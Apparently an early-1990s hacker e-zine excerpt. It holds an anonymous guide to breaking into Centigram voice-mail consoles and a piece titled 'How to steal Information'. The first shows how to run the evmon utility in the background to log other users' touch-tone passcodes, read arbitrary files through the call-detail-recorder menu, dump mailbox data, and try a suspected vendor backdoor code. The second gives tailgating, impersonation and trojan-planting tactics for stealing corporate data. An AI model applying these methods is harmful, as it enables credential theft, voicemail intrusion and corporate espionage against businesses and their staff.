The drives and directories are set up in a remotely MessDos fashion. The output of a 'pwd' command looks similar to '4:/'. '4;' represents the drive number, and '/' is the start of the directory structure, '4:/' being the root directory for drive 4, '3:/tmp' being the /tmp directory on drive 3, etc.

The two most important directories are 1:/cmds and 4:/cmds, which contain, for the most part, the program files for all of the performable commands on the system, excluding the commands written into the shell. The directory 1:/cmds should look similar to:

```
$ ls
 backup        drel          ls            rm            talk
 chattr        eo            mkdir         rmdir         tcap
 choose        fdformat      mount         runfloppy     timer
 clrhouse      files         p             search        tsk
 cp            frel          pack          sh            unpack
 date          get_boolean   patch         slay          ws
 ddump         led           pwd           sleep         zap
 diff          led.init      qnxsh         spatch
 dinit         login         query         stty
```

This is a display of many useful commands. chattr changes the read/write file attributes, cp is copy, ddump dumps disk sectors in hex & ascii, led is the line editor, p is the file print utility, and a variety of other things that you can experiment with at your own leisure. DO NOT USE THE TALK COMMAND. At least, be careful if you do. If you try to communicate with your own terminal, it locks communication with the shell, and upon hangup, for some reason, causes (well, in one instance) a major system error and system-wide reboot, which, quite frankly, made me say 'Oops. I'm not doing that again' when I called to check on the actual voice mailboxes, and the phone line just sat there, dead as old wood; and I was quite relieved that it came back up after a few minutes.

The other directory, 4:/cmds, is filled with more specific commands pertaining to functions within the voice mail system itself. These programs are actually run from within other programs, to produce an easy-to-understand menu system. Normally, this menu system is immediately run after the entry of the remote or console passcode, but it would not be run when using the aforementioned security bug. It can be run from the shell simply by typing the name of the program, 'console'.

Mounting and Initializing Drives:

The MOUNT command produces results similar to this when run without arguments:

```
$ mount
Drive 1:    Hard,  360k, offset =  256k, partition= Qnx
Drive 2:  Floppy,  360k, p=1Drive 3: RamDisk,   96k, partition= Qnx
Drive 4:    Hard,  6.1M, offset =  616k, partition= Qnx
$tty0  = $con,     Serial at 03F8
$tty1  = $term1 ,     Serial at 02F8
$tty2  = $term2 ,     Serial at 0420
$tty3  = $mdm   ,     Serial at 0428
```

The Hard and Floppy drives are fairly self-explanatory, although I can't explain why they appear to be so small, nor do I know where the voice recordings go, or if this list contain all the space required for voice storage.

The Ramdisk, however, is a bit more interesting to me. The mount command used for the above-mentioned disk 3 was:

```
$ mount ramdisk 3 s=96k -v
```

Although I'm not sure what the -v qualifier does, the rest is fairly straightforward. I assume that the size of the drive can be greater than 96k, although I haven't yet played with it to see how far it can go. To initialize the drive, the following command was used:

```
$ dinit 3
```

Quite simple, really. Now the drive is ready for use, so one can 'mkdir 3:/tmp' or such and route files there as desired, or use it for whatever purpose. If something is accidentally redirected to the console with >$cons, you can use the line editor 'led' to create a temporary file and then use the print utility 'p' to clear the console's screen by using "p filename >$cons", where filename contains a clear screen of 25 lines, or an ANSI bomb (if appropriate), or a full-screen DobbsHead or whatever you like.

EVMON and password collecting:

The evmon utility is responsible for informing the system manager about the activity currently taking place within the voice mail system. Run alone, evmon produces output similar to:

```
$ evmon
Type Ctrl-C to terminate.
ln  26 tt 3
ln  26 line break
ln  26 onhook
ln  28 ringing
ln  28 tt 8
ln  28 tt 7
ln  28 tt 6
ln  28 tt 2
ln  28 offhook
ln  28 tt *
ln  28 tt 2
ln  28 tt 0
ln  28 tt 3
ln  28 tt 0
ln  28 line break
ln  28 onhook
[...]
```

And so forth. This identifies a certain phone line, such as line 28, and a certain action taking place on the line, such as the line ringing, going on or offhook, etc. The 'tt' stands (I assume) for touch tone, and it is, of course, the tone currently played on the line; which means that touchtone entry of passcodes can be recorded and filed at will. In the above example, the passcode for Mailbox 8762 is 2030 (the * key, along with the 0 key, can acts as the 'user entering mailbox' key; it can, however, also be the abort key during passcode entry, and other things as well). Now the user, of course, doesn't (usually) dial 8762 to enter his mailbox, he simply dials the mailbox number and then * plus his passcode; the reason for this is the type of signalling coming from the switch to this particular business line was set-up for four digit touch tone ID to route the line to the appropriate called number. This is not the only method of signalling, however, as I've seen other businesses that use three digit pulse signalling, for example, and there are others as well. Each may have it's own eccentricities, but I would imagine that the line ID would be displayed with EVMON in most cases.

Now, let's say we're online, and we want to play around, and we want to collect passcodes. We've set up our Ramdisk to normal size and we are ready to run evmon. We could run it, sit at our terminal, and then record the output, but it's such a time consuming task (this is 'real-time', after all) that sitting and waiting be nearly pointless. So, we use the handy features of run-in-background and file-redirection. (See, I told you we were getting 'Unix-like'.)

```
$ evmon > 3:/tmp/output &
Type Ctrl-C to terminate.
5e1e
$ ...
```

5e1e is the task ID (TID) of the new evmon process. Now we can go off and perform whatever lists we want, or just play in the directories, or route DobbsHeads or whatever. When we decide to end for the day, we simply stop EVMON, nab the file, remove it, and if necessary, dismount the ramdisk.

```
$ kill 5e1e
$ p 3:/tmp/output
[ EVMON output would normally appear; if, however, ]
[ there is none, the file would be deleted during  ]
[ the kill with an error message resulting         ]
$ rm 3:/tmp/output
$ rmdir 3:/tmp
$ mount ramdisk 3
```

and now we can ^D or exit out of the shell and say good-bye.

The good thing about this EVMON procedure is that you don't need to be online while it runs. You could start a task sometime at night and then wait until the next day before you kill the process and check your results. This usually produces large log files anywhere from 40K to 200K, depending upon the amount of system usage (these figures are rough estimates). If, however, you start the EVMON task and leave it running, then the administrator will not be able to start a new EVMON session until the old task is killed. While this probably shouldn't be a problem over the weekends, during business hours it may become a little risky.

Remember though, that the risk might be worth it, especially if the administrator decides to check his mailbox; you'd then have his passcode, and possibly, remote telephone access to system administrator functions via touch-tone on the mailbox system.

Task management:

As we have just noted, any task like EVMON can be run in the background by appending the command line with a &, the standard unix 'run-in-background' character. A Task ID will echo back in hexadecimal, quite comparable to the unix Process ID. The program responsible for task management is called 'tsk' and should be in 1:/cmds/tsk. Output from running tsk alone should look something like:

```
$ tsk
```

```
Tty Program         Tid  State Blk  Pri   Flags     Grp Mem Dad  Bro
  0 task            0001 READY ----  1 ---IPLA----- 255 255 ---- ----
  0 fsys            0002 RECV  0000  3 ---IPLA----- 255 255 ---- ----
  0 dev             0003 RECV  0000  2 ---IPLA----- 255 255 ---- ----
  0 idle            0004 READY ---- 15 ----PLA----- 255 255 ---- ----
  0 /cmds/timer     0607 RECV  0000  2 -S--P-AC---- 255 255 ---- ----
  0 /cmds/err_log   0509 RECV  0000  5 -S--P--C---- 255 255 0A0A ----
  0 /cmds/ovrseer   0A0A REPLY 0607  5 -S--P--C---- 255 255 ---- ----
  0 /cmds/recorder  010B REPLY 0509  5 -S--P--C---- 255 255 0A0A 0509
  0 /cmds/master    030C REPLY 0607  5 -S--P--C---- 255 255 0A0A 010B
              [ ... a wide assortment of programs ... ]
  0 /cmds/vmemo     011C REPLY 0110 13 -S-----C---- 255 255 030C 011B
  3 /cmds/comm      0508 RECV  5622  8 ----P-A----- 255 255 0004 ----
  3 /cmds/tsk       051D REPLY 0001  8 ------------ 255 255 301E ----
  3 /cmds/qnxsh     301E REPLY 0001 14 ---------E-- 255 255 5622 ----
  3 /cmds/login     5622 REPLY 0003  8 -------C---- 255 255 0508 ----
```

Although I'm not quite sure at some of the specifics displayed in this output, the important parts are obvious. The first column is the tty number which corresponds to the $tty list in 'mount' (meaning that the modem I've just called is $tty3, and I am simultaneously running four tasks from that line); the second column is the program name (without the drive specification); the third column is the task ID; the middle columns are unknown to me; and the last three represent the ties and relations to other tasks (Parent task ID, another task ID created from the same parent, and task ID of any program called).

Knowing this, it's easy to follow the tasks we've created since login. Initially, task 0508, /cmds/comm, was run, which presumably contains the requisite 'what should I do know that my user has pressed a key?' functions, which called /cmds/login to log the user in. Login was interrupted with ^Z and one of the shells, qnxsh, was called to handle input from the user. Finally, the typing of 'tsk' requires that the /cmds/tsk program be given a task ID, and the output of the program is simply confirming that it exists.

As mentioned, to kill a task from the shell, simply type 'kill [task-id]' where [task-id] is the four digit hexadecimal number.

There are other functions of the tsk program, as well. The help screen lists:

```
$ tsk ?
use: tsk [f={cmoprst}] [p=program] [t=tty] [u=userid]
     tsk code [p=program]
     tsk info
     tsk mem t=tid
```

```
     tsk names
     tsk size [p=program] [t=tty] [u=userid]
     tsk ports
     tsk
tsk
     tsk tree [+tid] [+all] [-net]
     tsk users [p=program] [t=tty] [u=userid]
     tsk vcs
     tsk who tid ...
options: +qnx -header +physical [n=]node s=sort_field
```

I haven't seen all the information available from this, yet, as the plain 'tsk' tells me everything I need to know; however, you may want to play around, there's no telling what secrets are hidden...

```
$ tsk tsk
Tsk tsk? Have I been a bad computer?
```

See what I mean?

ddump:

The ddump utility is used to display the contents on a specified blocks of the disk. It's quite simple to use.

```
$ ddump ?
use: ddump drive block_number [-v]
```

Again, I'm not quite sure what the -v switch does, but the instructions are very straightforward. Normal output looks similar to:

```
$ ddump 3 3
Place diskette in drive 3 and hit      <-- this message is always
                                           displayed by ddump.
Block 00000003  Status: 00
000:  00 00 00 00 00 00 00 00 94 00 00 00 00 00 00 00 ................
010:  01 00 01 00 40 02 00 00 00 02 00 00 00 00 00 00 ....@...........
020:  00 01 00 FF FF 00 00 97 37 29 17 00 01 01 01 30 ........7).....0
030:  C4 17 8E 62 69 74 6D 61 70 00 00 00 00 00 00 00 ...bitmap.......
040:  00 00 00 00 C0 00 00 00 00 00 00 00 00 00 00 00 ................
050:  00 00 00 FF FF 00 00 A5 37 29 17 00 01 01 17 30 ........7).....0
060:  C4 25 8E 6C 6C 6C 00 00 00 00 00 00 00 00 00 00 .%.lll..........
070:  00 00 00 00 50 0E 00 00 00 0E 00 00 00 00 00 00 ....P...........
080:  00 01 00 FF FF 7E 05 A8 38 29 17 00 01 01 17 30 .....~..8).....0
090:  C4 28 8F 61 62 63 00 00 00 00 00 00 00 00 00 00 .(.abc..........
0A0:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0B0:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
[...etc...]
```

As you can probably notice, what we have here is the directory track for the ramdisk. It lists three files, even though the file abc no longer exists. The actual bytes have yet to be decoded, but, as far as the ramdisk goes, I suspect that they'll be memory related, and not physical block related; that is, I suspect that some of the numbers given above correspond to the memory address of the file, and not to the actual disk-block. So, at least for the ramdisk, finding specific files may be difficult. However, if you only have one file one the ramdisk besides 'bitmap' (which appears to be mandatory across all the disks), then the next file you create should reside on track 4 and continue working it's way up. Therefore, if you have evmon running and redirected to a file on the ramdisk, in order to check the contents, it's not necessary to kill the process, and restart evmon, etc. Simply 'ddump 3 4', and you could get either useless information (all the bytes are 00 or FF), or you could get something like:

```
$ ddump 3 4
Place diskette in drive 3 and hit

Block 00000004  Status: 00
000:  00 00 00 00 00 00 00 00 00 00 00 00 09 00 00 00 ................
010:  6C 6E 20 20 32 36 20 74 74 20 33 1E 6C 6E 20 20 ln  26 tt 3.ln
020:  32 36 20 6C 69 6E 65 20 62 72 65 61 6B 1E 6C 6E 26 line break.ln
030:  20 20 32 36 20 6F 6E 68 6F 6F 6B 1E 6C 6E 20 20   26 onhook.ln
040:  32 38 20 72 69 6E 67 69 6E 67 1E 6C 6E 20 20 32 28 ringing.ln  2
050:  38 20 74 74 20 38 1E 6C 6E 20 20 32 38 20 74 74 8 tt 8.ln  28 tt
060:  20 37 1E 6C 6E 20 20 32 38 20 74 74 20 36 1E 6C  7.ln  28 tt 6.l
070:  6E 20 20 32 38 20 74 74 20 32 1E 6C 6E 20 20 32 n  28 tt 2.ln  2
080:  38 20 6F 66 66 68 6F 6F 6B 1E 6C 6E 20 20 32 38 8 offhook.ln  28
090:  20 74 74 20 2A 1E 6C 6E 20 20 32 38 20 74 74 20  tt *.ln  28 tt
```

... and so forth, thus making sure that the file does have some content. Depending upon the length of that content, you could then choose to either keep the file running, or restart evmon and buffer the previous output.

led:

The program 'led' is Centigram's answer to a standard text editor. It is equivalent to 'ed' in unix or 'edlin' in MSDOS, but it does have it's minor differences. led is used to create text files, edit, existing log files, or edit executable shell scripts. By typing 'led [filename]', you will enter the led editor, and if a filename is specified, and it exists, the file will be loaded and the editor set to line 1. If there is no filename on the command line, or the file does not exist, of the file is busy, then led begins editing a null file, an empty buffer, without the corresponding filename. (Commands can also be specified to be used in led after the filename is entered. If needed, you can experiment with this.)

Notable commands from within led:

```
   i             insert
   a             append
   w [filename]  write to disk; if no file is named, attempt to
                 write to current file; if there is no current
                 file, do not write.
   d             delete current line
   a number      goto line numbered
   q             quit (if not saved, inform user to use 'qq')
   qq            Really quit
```

When inserting or appending, led will prompt you with a '.' period. To end you entry, simply enter one period alone on a line, and you will then return to command mode. When displaying the current entry, led will prefix
all new, updated lines, with the 'i' character.

The key sequence to enter a Dobbshead into a file and redirect it to the console, then, would be:

```
$ led 3:/dobbshead3:/dobbshead : unable to match file
i               ___
           .  /    \
           . | o o  |
           . |  Y   |
           U=====   |
              \___/
           FUCK YOU!
q
?4 buffer has been modified, use qq to quit without saving
w 3:/dobbshead
7 [the number of lines in the file]
q
$ p 3:/dobbshead > $cons
$ rm 3:/dobbshead
```

Ok, so it's not quite the Dobbshead. Fuck you.

The console utility:

The program that acts as the menu driver for the Voice Mail System Administration, the program that is normally run upon correct passcode entry, is /cmds/console. This program will simply produce a menu with a variety of sub-menu's that allow the administrator to perform a wide assortment of tasks. Since this is mostly self-explanatory, I'll let you find out about these functions for youself; I will, however, add just a few comments about the console utility. The first menu received should look like this:

```
(c) All Software Copyright 1983, 1989 Centigram Corporation
All Rights Reserved.

         MAIN MENU

(R) Mailbox maintenance
(R) Report generation
(S) System maintenance
(X) Exit

Enter letter in () to execute command.
When you need help later, type ?.

COMMAND (M/R/S/X):
```

The mailbox maintenance option is used when you want to find specific information concerning mailboxes on the system. For instance, to get a listing of all the mailboxes currently being used on the system:

```
COMMAND (M/R/S/X): m

    MAILBOX MAINTENANCE

(B) Mailbox block inquiry
(C) Create new mailboxes
(D) Delete mailboxes
(E) Mailbox dump
(I) Inquire about mailboxes
(L) List maintenance
(M) Modify mailboxes
(P) Set passcode/tutorial
(R) Rotational mailboxes
(S) Search for mailboxes
(X) Exit

If you need help later, type ?.

COMMAND (B/C/D/E/I/L/M/P/R/S/X): i
Report destination (c/s1/s2) [c]:

Mailbox to display: 0000-9999

                             >>> BOBTEL <<<
                            Mailbox Data Inquiry
                           Tue Mar 31, 1992  3:07 am

Box        Msgs Unp Urg Rec   Mins FCOS LCOS GCOS NCOS MWI           P
8001         1   1   0   0     0.0 5    5    1    1   None           Y
```

```
8002         0   0   0   0     0.0 5    5    1    1   None           Y
8003         0   0   0   0     0.0 12   12   1    1   None
                     0   0     0.0 12   12   1    1   None           Y
8006            6   6   0   0     0.7 12   12   1    1   None
8008         0   0   0   0     0.0 5    5    1    1   None           Y
8013           0   0   0   0     0.0 12   12   1    1   None
8014         0   0   0   0     0.0 5    5    1    1   None           Y
8016         0   0   0   0     0.0 12   12   1    1   None           Y
[ ... etc ... ]
```

This simply lists every box along with the relevant information concerning are the
Total number of messages, number of unplayed messages, number of urgent messages, and number of received messages currently being stored on the drive for the mailbox; Mins is the numbers of minutes currently being used by those messages; F, L, G, and NCOS are various classes of service for the mailboxes; MWI is the message waiting indicator, or service light; and Passwd is simply a Yes/No condition informing the administrator whether the mailbox currently has a password. The'(t)' the password field means the box is currently in tutorial mode, and the '1234' that replaces the Y/N condition, I assume, means the box is set to initial tutorial mode with simple passcode 1234 -- in other words the box is available to be used by a new subscriber. Mailboxes with FCOS of 1 should be looked for, these represent administration or service mailboxes, although they are not necessarily capable of performing system administration functions.

The System maintenance option from the main menu is very useful in that, if you don't have access to the qnxsh, you can still run a number of tasks or print out any file you wish from within the menu system. The System Mainenance menu looks like:

```
         SYSTEM MAINTENANCE

(A) Automatic Wakeup
(B) Automated Receptionist Extensions
(D) Display modem passcode
(E) Enable modem/serial port
(F) Floppy backup
(G) Resynchronize HIS PMS room status
(H) Hard Disk Utilities
(L) Lights test
(M) Manual message purge
(N) System name
(P) Passcode
(R) Reconfiguration
(S) System shutdown
(T) Time and date
(U) Utility menu
```

```
(V) Call Detail Recorder
(W) Network menu
(X) Exit

Enter letter in () to execute command.
When you need help later, type ?.

COMMAND (A/B/D/E/F/G/H/L/M/N/P/R/S/T/U/V/W/X):
```

If you don’t have access to the ’p’ command, you can still display any specific file on the drive that you wish to see. Choose ’v’, the Call Detail Recorder option, from above, and you will get this menu:

```
COMMAND (A/B/D/E/F/G/H/L/M/N/P/R/S/T/U/V/W/X): v
Warning: cdr is not running.

CALL DETAIL RECORDER MENU

(C) Configure CDR
(R) Run CDR
(T) Terminate CDR
(E) Run EVMON
(F) Terminate EVMON
(S) Show CDR log file
(D) Delete CDR log file
(X) Exit

If you need help later, type ?.

COMMAND (C/R/T/E/F/S/D/X):
```

From here, you can use (C) Configure CDR to set the log file to any name that you want, and use (S) to print that file to your terminal.

```
COMMAND (C/R/T/E/F/S/D/X): c

Answer the following question to configure call detail recorder
[ simply hit return until the last ’filename’ question come up ]
VoiceMemo line numbers enabled:
HOST 1 lines:
 0  1  2  3  4  5  6  7  8  9 10 11 12 13 14 15
16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
VoiceMemo line numbers:

EVMON: HOST 1 lines to monitor:
 0  1  2  3  4  5  6  7  8  9 10 11 12 13 14 15
16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
EVMON:VoiceMemo line numbers:
Message levels are:
```

```
     1:  Detailed VoiceMemo
     2:  VoiceMemo
     3:  Pager
     4:  Receptionist
     5:  EVMON
     6:  Automatic WakeUp
     7:  Open Account Administrator
     8:  DTMF to PBX
     9:  Message Waiting Lamp
    10:  SL-1 integration
    11:  Centrex Integration
Message levels enabled:
 2  3  7  9
Message levels:
cdr enable = [N]
Enter filename to save log data = [/logfile] /config/remote.cmds

Returning from the CDR configuration.

CALL DETAIL RECORDER MENU

(C) Configure CDR
(R) Run CDR
(T) Terminate CDR
(E) Run EVMON
(F) Terminate EVMON
(S) Show CDR log file
(D) Delete CDR log file
(X) Exit

If you need help later, type ?.

COMMAND (C/R/T/E/F/S/D/X): s
ad
cd
copy
date
dskchk
evmon
files
ls
mount
p
pwd
query
task
tcap
what
```

Don’t forget to return the filename back to it’s original name, as shown in the [] field, after you have finished.

If you don't have access to the shell, you can also run EVMON, from the CDR menu, using option E. It will simply start the evmon process displaying to your terminal, interruptable by the break character, ^C. This, unfortunately, cannot be redirected or run in the background as tasks running from the shell can. If, however, you have some time to kill you may want to play with it.

Also from the System Maintenance menu, you can perform a number of shell tasks without direct access to the shell. Option (U), Utilities Menu, has an option called Task. This will allow you limited shell access, possibly with redirection and '&' backgrounding.

```
COMMAND (A/B/D/E/F/G/H/L/M/N/P/R/S/T/U/V/W/X): U

         UTILITY MENU

(B) Reboot
(H) History
(T) Task
(X) Exit

Enter letter in () to execute command.
When you need help later, type ?.

COMMAND (B/H/T/X): t

Choose the following commands:
             ad             cd           copy           date
         dskchk          evmon          files             ls
          mount              p            pwd          query
           task           tcap           what

Enter a command name or 'X' to exit: pwd
1:/

Choose the following commands:
             ad             cd           copy           date
         dskchk          evmon          files      ls
         mount              p            pwd          query
          task           tcap           what

Enter a command name or 'X' to exit: evmon
Type Ctrl-C to terminate.
ln  29 ringing
ln  29 tt 8
ln  29 tt 0
ln  29 tt 8
ln  29 tt 6
ln  29 offhook
```

```
ln  29 record ended
[ ... etc ... ]
```

A look at 'ad':

The program 'ad' is called to dump information on a variety of things, the most useful being mailboxes. Dumps of specific information about a mailbox can be done either in Mailbox format, or Raw Dump format. Mailbox format looks like:

```
$ ad
Type #: 0
Mailbox #: 8486
(M)ailbox, (D)ump ? m

MAILBOX: 8486

Login status:
    Bad logs     = 3          Last log     = 03/26/92 12:19 pmVersion

Configuration:
    Name #       = 207314     Greeting     = 207309     Greeting2    =
    Passcode     = XXXXXXXXXX Tutorial     = N          Extension    =
    Ext index    = 0          Attendant    =            Attend index =
       Code      =            ID           = BOBTECHM   Night_treat  =
         fdx_msgs= 0
    Sent_urg_msgs= 0          Tas_msgs     = 0          Pages        =
    Receipt      = 0          Sent_to_node = 0          Urg_to_node  =
    Net_urg_mlen = 0          Net_msgs_rcv = 0          Net_urg_rcv  =
    Net_sent_node= 0          Net_send_nurg= 0          Net_send_rcp =
    Greet_count  = 9          Successlogins= 1          Recpt_calls  =
    Recpt_complt = 0          Recpt_busy   = 0          Recpt_rna    =
    Recpt_msgs   = 0          Recpt_attend = 0          User_connect =
    Clr_connect  = 22         Callp_connect= 0          Disk_use     =
    Net_sent_mlen= 0          Net_rcvd_mlen= 0          Net_rcvd_urg =
    Net_node_mlen= 0          Net_recip_mlen=0          Net_node_urg =
    Text_msg_cnt = 0


Message Queues:
    TYPE            COUNT TOTAL HEAD TAIL  TYPE           COUNT TOTAL H
    Free              71   ---   58   55   Unplayed          0   ---
    Played             2   0.5   56   57   Urgent            0   ---
    Receipts           0   ---   -1   -1   Undelivered       0   ---
    Future delivery    0   ---   -1   -1   Call placement    0   ---

Messages: 2
 #  msg #   DATE    TIME   LENGTH      SENDER     PORT   FLAGS  MSG
                           (MINS)                               NXT PR
Played Queue
56 207126 03/26/92 12:17 pm    0.5 000000000000000  27 ------P-  57  -
```

57 207147 03/26/92 12:19 pm   0.1 000000000000000 29 ------P- -1 5

The Ramp format looks like:

```
$ ad
Type #: 0
Mailbox #: 8487
(M)ailbox, (D)ump ? d

HEX: 8487
000: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |..............
010: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |..............
020: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 34 38 |..............
030: 37 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |7.............
040: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |..............
050: 00 00 00 00 00 00 00 00 - 00 00 42 49 4f 54 45 43 |..........BOBT
060: 48 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |H.............
070: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |..............
080: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 37 32 33 |.............7
090: 36 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |6.............
0a0: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |..............
0b0: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |..............
0c0: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |..............
[mostly deleted -- the list continues to hex fff.]
```

One of the unfortunate aspects is that the password is not displayed in the Mailbox format (Awwww!). I can tell you now, though, that it also isn't displayed anywhere in the Raw Dump format. The program 'asetpass' was used to change the password of a test mailbox, and both full dumps were downloaded and compared; they matched exactly. So, it looks like the passcodes are probably stored somewhere else, and the dump simply contains a link to the appropriate offset; which meansthe only way, so far, to get passcodes for mailboxes is to capture them in EVMON.

Intricacies of the login program:

The console login program is 1:/cmds/login. Although I can't even recognize any valid 8080 series assembly in the program (and I'm told the Centigram boxes run on the 8080 family), I did manage to find a few interesting tidbits inside of it. Firstly, the console and remote passwords seems to be stored in the file /config/rates; unfortunately, it's encrypted and I'm not going to try to break the scheme. /config/rates looks like this:

```
$ p /config/rates
\CE\FFC~C~\0A\00\00\00\00\00\0A\00\00\00\00\00\0A\00\00\00\00\00\0A\00
\00\0A\00\00\00\00\00\0A\00\00\00\00\00\0A\00\00\00\00\00\00\00\00\00\
\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\
```

Accepting the \CE as some sort of control byte, this file is divided up into about eight empty sections of five bytes a piece, mostly null, indicating that, possibly, there are a number of acceptable passcode combinations, or a number of different functions with different passcodes. In this instance, only one passcode appears to be selected. I am still unsure, however, whether this is actually a password file, or a file that would acts as a pointer to another space on the disk which contains the actual password. I would assume, for this login program, that it is actually an encrypted password.

Another very interesting thing sleeping within the confines of the login program is the inconspicuous string 'QNX'. It sits in the code between two 'Enter Passcode:' prompts, separated by \00's. I believe this to be a system-wide backdoor placed into the login program by Centigram, Corp. Such a thing does exist; whenever Centigram wants to get into a certain mailbox system to perform maintenance or solve a problem, they can. They may, however, require the Serial number of the machine or of the Hard Drive, in order to get this access. (This serial number would be provided by the company requiring service.)

When logging in with QNX, a very strange thing happens.

```
(^Z)
Enter Passcode: (QNX^M)  Enter Passcode:
```

A second passcode prompt appears, a prompt in which the 'QNX' passcode produces an Invalid Passcode message. I believe that when Centigram logs in from remote, they use this procedure, along with either a predetermined passcode, or a passcode determined based on a serial number, to access the system. I have not ever seen this procedure actually done, but it is the best speculation that I can give.

I should also make note of a somewhat less important point. Should the console have no passcodes assigned, a simple ^Z for terminal activation will start the /cmds/console program, and log the user directly in without prompting for a passcode. The odds on finding a Centigram like this, nowadays, is probably as remote as being struck by lightning, but personally, I can recall a time a number of years back when a Florida company hadn't yet passcode protected a Centigram. It was very fun to have such a large number of people communicating back and forth in normal voice; it was even more fun to hop on conferences with a number of people and record the stupidity of the average Bell operator.

Special Keys or Strings:

There are a number of special characters or strings that are important to either the shell or the program being executed. Some of these are:

```
?     after the program name, gives help list for that program.
&     runs a task in the background
:     sets the comment field (for text within shell scripts)
;     command delimiter within the shell
>     redirects output of a task to a file
<     (theoretically) routes input from a file
$cons the 'filename' of the console (redirectable)
$tty# the 'filename' of tty number '#'
$mdm  the 'filename' of the modem line
#$    ? produces a value like '1920', '321d'
        probably the TID of the current process
##    ? produces a value like 'ffff'
#%    ? produces a value like '0020', '001d'
#&    ? produces a value like '0000'
#?    ? produces a value like '0000'
#*    a null argument
#g    ? produces a value like '00ff'
#i    directly followed by a number, produces '0000'
      not followed, produces the error 'non-existent integer
      variable' probably used in conjunction with environment
      variables
#k    accepts a line from current input (stdin) to be
      substituted on the command line
#m    ? '00ff'
#n    ? '0000'
#p    ? '0042'
#s    produces the error 'non-existent string variable'
      probably used in conjunction with environment variables
#t    ? '0003'
#u    ? some string similar to 'system'
#D    ? '0018'
#M    ? '0004'
#Y    ? '005c'
```

"Notes on Centigram Voice Mail system Consoles" was written anonymously. There are no group affiliations tied to this file.

=-
=-

NIA074 / File 05

How to steal Information

The Butler...

Now that we have entered the "Information Age" we must realize that information is an asset worth protecting. The problem is that what some people consider trash others view as gold. That is why on any given day you can find mounds of valuable information in most companies trashcans, employees desks, and on floppy disks lying around the office. This article will focus on the different ways of gaining access to that information which is most often left unprotected.

To begin with I will discuss the most vulnerable aspect of any security plan, people. Individuals are the weakest link in any security system whether it be a guard check point or a CN/A operator, the reason this is so is because when ever a human is brought into the picture to determine whether or not to give access or information to another human more often than not a judgement call has to be made. As human beings we have feelings like sorrow and pity to deal with, and those feelings can and are exploited.

Now lets say you wanted to gain access to a certain building that required some sort of Key-Card to open the door. With out having one yourself you could either 1) steal one, 2) make your own, or 3) walk in behind someone else who does have one. Number 3 is the one I want to expand on here. I have used this method myself, for legitimate purposes of course. By looking like you belong in said building and waiting by the door with a confused and sad look on your face you could say to someone "I left my Key-Card at home" and just walk in behind them. Now this probably wouldn't work at a small company but more likely at a large institution with several entrances, use the back door! When I said look like you belong I mean dress accordingly. i.e. to go to a high tech software company you should be wearing a suit with a briefcase in hand. Just in case why don't you case the establishment for a few days before your attempt and make note of what the majority of employees are wearing.

Another scenario could be at a industrial firm that you were interested in. In this case we will try and play on another human feeling, greed. Chances are in this situation the individuals responsible for any and all computers are, well less than computer literate. You could send them a letter in the mail advertising a free cleaning and inspection of all personal computers on the premises. This is an excellent way of gathering information from heavily industrialized companies. Usually places where computers are practically on the factory floor will be more than happy to let you clean their machines. While doing so just copy to your hearts content, or if you are adventurous you could take a portable and connect it via a serial port or whatever and copy the entire hard drive. Just tell them you are running some diagnostics.

The last scenario I will cover is another example of disguising yourself. I know this one works and it seems that people are doing it quite frequently. Just get a job with a janitorial firm and sneak away from the actual work to do your bidding.

After gaining access to any company by whatever means you have to know where to look. To begin with go to the largest office you can find, usually in a corner with a good view. These prime offices usually belong to those in the upper echelon of the company. Once in the office you obviously should start with computers since you can copy electronic information easier than hardcopy. Next you should turn to the desk drawer and file cabinets in the office. Check the rolodex for dialup #'s and passwords. Basically don't leave any stone unturned. Depending on what you are looking for you might want to start out in the Data Processing department since their computers are the heart of the whole business. From there you can plant trojan horses, copy proprietary software, or steal specific data.

Some other means of disguise:

PC Repair Shop Technician
Software Demonstrator

All of the above items can be used for completely legal purposes also.

The above have all been physical means of gathering information, now lets turn to other ways.

Van Eck

With the proper equipment it is possible to capture every electronic pulse that is sent out from a keyboard or a monitor while you are hidden far away from the actual activity. The U.S. Government calls this the Tempest project. If you are ever in a government office just take a look at their computers. I know that the armed services have all of their computers protected by heavy metal shielding around all computers, even pc's in army recruiting stations. Check the loompatics(sp) catalog for a book called Van--Eck Phreaking, it explains the whole process and the equipment needed. This method would generally be used to steal usernames and passwords.

Network Protocol Analyzers

If you have access to a Local Area Network you might already have one of these puppies. A Network protocol analyzer is a device that lets you examine every packet that is sent out over a network. I am talking about Novell, Banyan and 3COM networks if you are wondering. By using one of these you can capture every byte that travels from any given workstation to the file server. This equipment is very expensive but could well be worth it depending on what you are after. This method could be used to steal everything from usernames and passwords to actual data.

Keyboard & Monitor Capture program

I have never done this but I think it could be possible to write a program (a trojan) that would capture everything that is entered from the keyboard and everything that goes across the monitor and save it in a hidden file somewhere on a network.

Old Reliable--Social Engineering

Now (with a known bug) we can social engineer electronically via E-mail. The Telnet bug which allows you to send a message to someone without them knowing the source can be very useful. Unlimited applications.....And there is always the telephone for the same purpose. Just make up a story and try it out. The obvious "Hello I am the Sysop please change your password to ____" is not what I am talking about. You need to be more creative like posing as a salesman or a surveyor to get information that will make your "Crack" easier.

I hope this helps you with your quest for knowledge!!!

The Butler...

=-
=-

NIA074 / File 07

Invisible Killer Chips Now Availible

Jean-Bernard Condat
General Secretary
Chaos Computer Club France
B.P. 8005
69351 Lyon Cedex 08, France
Tel.: +33 78 61 15 88

Intelligence Newsletter (10 rue du Sentier, 75002 Paris, France)
